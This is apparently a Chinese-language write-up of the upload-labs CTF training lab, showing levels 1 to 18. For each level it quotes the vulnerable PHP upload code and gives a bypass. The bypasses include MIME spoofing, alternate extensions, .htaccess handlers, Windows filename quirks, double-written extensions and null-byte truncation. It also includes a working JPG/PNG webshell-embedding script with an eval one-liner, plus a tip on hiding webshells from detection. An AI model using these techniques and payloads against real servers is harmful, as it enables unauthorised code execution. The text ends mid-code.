upload-labs--wp(21关)


环境链接: https://github.com/c0ny1/upload-labs
新增了一个第五题,其它序号依次后延,所以现在一共有21题
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第一题

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不多说,直接上传
在这里插入图片描述
出现上图所示,如果你bp开启着抓包,你会发现,并没有抓到任何数据包,就被拦截了,这说明是前端验证没禁用js或修改前端代码即可
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随后可以访问xx.php,url利用或C刀/蚁剑皆可
在这里插入图片描述
最后加个源码分析吧:

function checkFile() {   //定义一个名为checkFile的函数
    var file = document.getElementsByName('upload_file')[0].value;   //声明一个名为file的变量,找出所有元素的name属性为upload_file,最后组成数组,获取数组第一个值的内容
    if (file == null || file == "") {   //如果变量file等于null或者变量file等于空
        alert("请选择要上传的文件!");   //弹出"请选择要上传的文件!"
        return false;   //结束接下来要做的默认操作,例如跳转url等等,就是什么也不做了,直接结束当前if
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";   //声明一个名为allow_ext的变量,其值为.jpg|.png|.gif
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));   //声明一个名为ext_name的变量,file.lastIndexOf("."):file中.最后出现的位置,file.substring():提取从规定要的第一个字符到字符串的结尾
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {   //判断ext_name + "|"在allow_ext中首次出现的位置,例如allow_ext.indexOf(".php|"),判断.php|在allow_ext中第一次出现的位置(位置规定从0开始),如果没有检索到,返回-1
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;   //声明一个变量errMsg=该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:ext_name
        alert(errMsg);   //弹出errMsg变量的内容
        return false;   //结束接下来要做的默认操作,例如跳转url等等,就是什么也不做了,直接结束当前if
    }
}

第二题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;

            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
    }
}

MIMIE类型验证,只允许type==‘image/jpeg’ || ‘image/png’ || ‘image/gif’
思路1:直接上传xx.php,然后bp截断,修改content-type类型
思路2:将webshell后缀修改为.jpg上传,然后bp截断,再将后缀修改为.php

第三题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
                 $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
                 $is_upload = true;
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

黑名单过滤
思路:可以尝试上传php2/php3/php4/php5/phtml绕过,我这里上传phtml
为什么可以解析phtml5呢?可以在httpd-conf的文件中搜索AddType application/x-httpd-php(它指定可以解析哪些后缀的文件名,我使用的是phpstudy2018,另外需要注意的是前面有#表示未开启该配置,删除后,还需要重启apache服务)
其他语言扩展名绕过:
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第四题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

几乎过滤了所有的后缀名,出了.htaccess
思路:上传.htaccess文件,文件内容:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php;如果想要指定后缀名解析为php,文件内容:AddType application/x-httpd-php .jpg
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第五题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

新增的第五题在第四题的基础上加强了黑名单绕过,不能上传.htaccess文件了,我们可以使用x.php. .进行绕过,方法和第十题一样

第六题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

后缀名大小写绕过

第七题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

还是黑名单,但没有对后缀名进行去空处理,可以使用空格绕过
思路:上传文件例如xx.php ,注意,php后面有一个空格,另外本地文件名是不能有空格的,使用bp改
原理就是,上传的xx.php ,黑名单没有,所以无法过滤,然后当传到目标服务器后,目标服务器如果是windows,便会自动去空,又变成xx.php

第八题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

思路:同第六题一样,利用windows的特性,会自动去掉.,利用xx.php.进行绕过

第九题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

思路:同第六题一样,利用windows的特性,这里黑名单没有过滤::$DATA,因此上传xx.php::$DATA,上传成功后windows会自动去除::$DATA

第十题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;//../upload/$filename
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

在这里插入图片描述
$filename只进行了去空和删除文件末尾的点
思路:上传xx.php. .

构造思路:
xx.php. .不在$deny_ext中
首尾去空后为xx.php. .
去掉文件末尾的..后为xx.php.
move_uploaded_file后为../upload/xx.php.
$img_path=../upload/xx.php.,这个其实也没用
deldot函数分析:
function deldot($s){//$s="xx.php. ."
	for($i = strlen($s)-1;$i>0;$i--){//$i=8;$i>0;循环一次后$i才会等于7//$i=8;$i>0;循环一次后才会变为6
		$c = substr($s,$i,1);//$c=最后一个.//$c=空格
		if($i == strlen($s)-1 and $c != '.'){//8==8 and .!=.,不执行//7==8 and .!=空格,不执行
			return $s;
		}

		if($c != '.'){//.!=.,不执行//空格!=.,执行$i=7
			return substr($s,0,$i+1);//return xx.php.空格,需要注意的是,substr第三个参数是表示长度
		}
	}
}

最后上传到目标服务器的就是xx.php.,由于windows的特性,就变为xx.php

第十一题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

思路:后缀名双写绕过,例如,xx.pphphp
注意:str_ireplace函数是从将字符串从左到右搜索,先搜到谁就替换谁,类似xx.phphpp就不行,因为替换后会变为xx.hpp

第十二题

前提:该题需要magic_quotes_gpc=off、php版本要小于5.3.4,5.3.4及以上已经修复该问题

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

思路:因为$img_path是拼接而成,所以直接使用%00截断后面的内容,因此,先上传xx.jpg,再使用bp截断
在这里插入图片描述
因为xx3.php后面被截断 ,所以我们直接访问xx3.php即可
在这里插入图片描述

第十三题

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

思路:这题和第十一题差不多,但这题的$img_path是通过POST进行拼接,因此,我们需要在POST中使用00截断(也就是空字符截断)
这里将%00进行url decode,转换为空字符,进行截断(GET可以url自动转码的,但POST不会)
在这里插入图片描述
也可以使用Hex进行截断,在p后面添加一个空字符(00),p的16进制是0x70
在这里插入图片描述

第十四题

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

思路:上传图片马,制作:copy x.jpg/b + x.php/a xx.jpg,上传后需要结合文件包含漏洞利用,或者目标服务器支持以php解析.jpg后缀,这里需要注意的是图片马中的一句话能写到中间尽量写到中间,真实环境不容易被发现,可用winhex或bp修改
copy使用注意事项:图片一定要在copy后面,否则创建出来的木马图片有可能无法显示,例如,copy x.php/a + x.gif/b xx.gif,xx.gif就无法显示

第十五题

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

思路:这里只能上传.jpeg|.gif|.png,我jpeg反正传不去,头文件也对,就是不行,gif和png可以
主要函数:getimagesize、image_type_to_extension、stripos,最后就是要return $ext才行
常见图片头文件:

JPEG (jpg),文件头hex:FF D8 FF
PNG (png),文件头hex:89 50 4E 47
GIF (gif),文件头hex:47 49 46 38(也就是GIF89a)

第十六题

前提:需要开启php_exif扩展,php版本>5.2.17
在这里插入图片描述

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
}

思路:php_exif模块来判断文件类型,依旧可以使用图片马绕过

第十七题

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=$UPLOAD_ADDR.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;               
            }
        }
        else
        {
            $msg = "上传失败!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = $UPLOAD_ADDR.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = $UPLOAD_ADDR.$newfilename;
                unlink($target_path);
                $is_upload = true;
            }
        }
        else
        {
            $msg = "上传失败!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

判断了后缀名、content-type,imagecreatefromgif判断是否为gif图片,最后使用imagegif做一次二次渲染
思路:由此可见,只能上传.gif文件,可以使用图片马绕过

(1)二次渲染,最好制作的图片马就是.gif,比较渲染前后没有改变的部分,在没改变的这部分添加一句话
获得二次渲染gif代码:

<?php
$newgif = imagecreatefromgif('D:\phpStudy\PHPTutorial\WWW\upload-labs\upload\x.gif');          
imagegif($newgif,'D:\phpStudy\PHPTutorial\WWW\upload-labs\upload\x1.gif');                                    
?>

之后就可以使用winhex进行对比,然后在没删减的地方添加一句话

(2)png的二次渲染,直接用的国外大牛的代码,生成二次渲染后不会删除一句话的png
具体制作,可参考https://xz.aliyun.com/t/2657

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

注意生成后的后门使用的时短标签,服务器需要开启short_open_tag = On
在这里插入图片描述
利用:有时使用eval不行,就换assert
在这里插入图片描述
jpg/jpeg绕过二次渲染的payload,也是国外大牛写的jpg_payload.php

<?php
	/*

	The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
	It is necessary that the size and quality of the initial image are the same as those of the processed image.

	1) Upload an arbitrary image via secured files upload script
	2) Save the processed image and launch:
	jpg_payload.php <jpg_name.jpg>

	In case of successful injection you will get a specially crafted image, which should be uploaded again.

	Since the most straightforward injection method is used, the following problems can occur:
	1) After the second processing the injected data may become partially corrupted.
	2) The jpg_payload.php script outputs "Something's wrong".
	If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

	Sergey Bobrov @Black2Fan.

	See also:
	https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

	*/

	$miniPayload = '<?php @eval($_REQUEST[peak]);?>';

	if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    	die('php-gd is not installed');
	}
	
	if(!isset($argv[1])) {
		die('php jpg_payload.php <jpg_name.jpg>');
	}

	set_error_handler("custom_error_handler");

	for($pad = 0; $pad < 1024; $pad++) {
		$nullbytePayloadSize = $pad;
		$dis = new DataInputStream($argv[1]);
		$outStream = file_get_contents($argv[1]);
		$extraBytes = 0;
		$correctImage = TRUE;

		if($dis->readShort() != 0xFFD8) {
			die('Incorrect SOI marker');
		}

		while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
			$marker = $dis->readByte();
			$size = $dis->readShort() - 2;
			$dis->skip($size);
			if($marker === 0xDA) {
				$startPos = $dis->seek();
				$outStreamTmp = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					str_repeat("\0",$nullbytePayloadSize) . 
					substr($outStream, $startPos);
				checkImage('_'.$argv[1], $outStreamTmp, TRUE);
				if($extraBytes !== 0) {
					while((!$dis->eof())) {
						if($dis->readByte() === 0xFF) {
							if($dis->readByte !== 0x00) {
								break;
							}
						}
					}
					$stopPos = $dis->seek() - 2;
					$imageStreamSize = $stopPos - $startPos;
					$outStream = 
						substr($outStream, 0, $startPos) . 
						$miniPayload . 
						substr(
							str_repeat("\0",$nullbytePayloadSize).
								substr($outStream, $startPos, $imageStreamSize),
							0,
							$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
								substr($outStream, $stopPos);
				} elseif($correctImage) {
					$outStream = $outStreamTmp;
				} else {
					break;
				}
				if(checkImage('payload_'.$argv[1], $outStream)) {
					die('Success!');
				} else {
					break;
				}
			}
		}
	}
	unlink('payload_'.$argv[1]);
	die('Something\'s wrong');

	function checkImage($filename, $data, $unlink = FALSE) {
		global $correctImage;
		file_put_contents($filename, $data);
		$correctImage = TRUE;
		imagecreatefromjpeg($filename);
		if($unlink)
			unlink($filename);
		return $correctImage;
	}

	function custom_error_handler($errno, $errstr, $errfile, $errline) {
		global $extraBytes, $correctImage;
		$correctImage = FALSE;
		if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
			if(isset($m[1])) {
				$extraBytes = (int)$m[1];
			}
		}
	}

	class DataInputStream {
		private $binData;
		private $order;
		private $size;

		public function __construct($filename, $order = false, $fromString = false) {
			$this->binData = '';
			$this->order = $order;
			if(!$fromString) {
				if(!file_exists($filename) || !is_file($filename))
					die('File not exists ['.$filename.']');
				$this->binData = file_get_contents($filename);
			} else {
				$this->binData = $filename;
			}
			$this->size = strlen($this->binData);
		}

		public function seek() {
			return ($this->size - strlen($this->binData));
		}

		public function skip($skip) {
			$this->binData = substr($this->binData, $skip);
		}

		public function readByte() {
			if($this->eof()) {
				die('End Of File');
			}
			$byte = substr($this->binData, 0, 1);
			$this->binData = substr($this->binData, 1);
			return ord($byte);
		}

		public function readShort() {
			if(strlen($this->binData) < 2) {
				die('End Of File');
			}
			$short = substr($this->binData, 0, 2);
			$this->binData = substr($this->binData, 2);
			if($this->order) {
				$short = (ord($short[1]) << 8) + ord($short[0]);
			} else {
				$short = (ord($short[0]) << 8) + ord($short[1]);
			}
			return $short;
		}

		public function eof() {
			return !$this->binData||(strlen($this->binData) === 0);
		}
	}
?>

准备好jpg图片,再使用php执行该代码:php jpg_payload.php x1.jpg,注意jpg_payload_payload.php和1.jpg最好在同一目录下,不然有可能会出现Something’s wrong
在这里插入图片描述

在这里插入图片描述
皆可

在这里插入图片描述
在这里插入图片描述

第十八题

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = $UPLOAD_ADDR . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
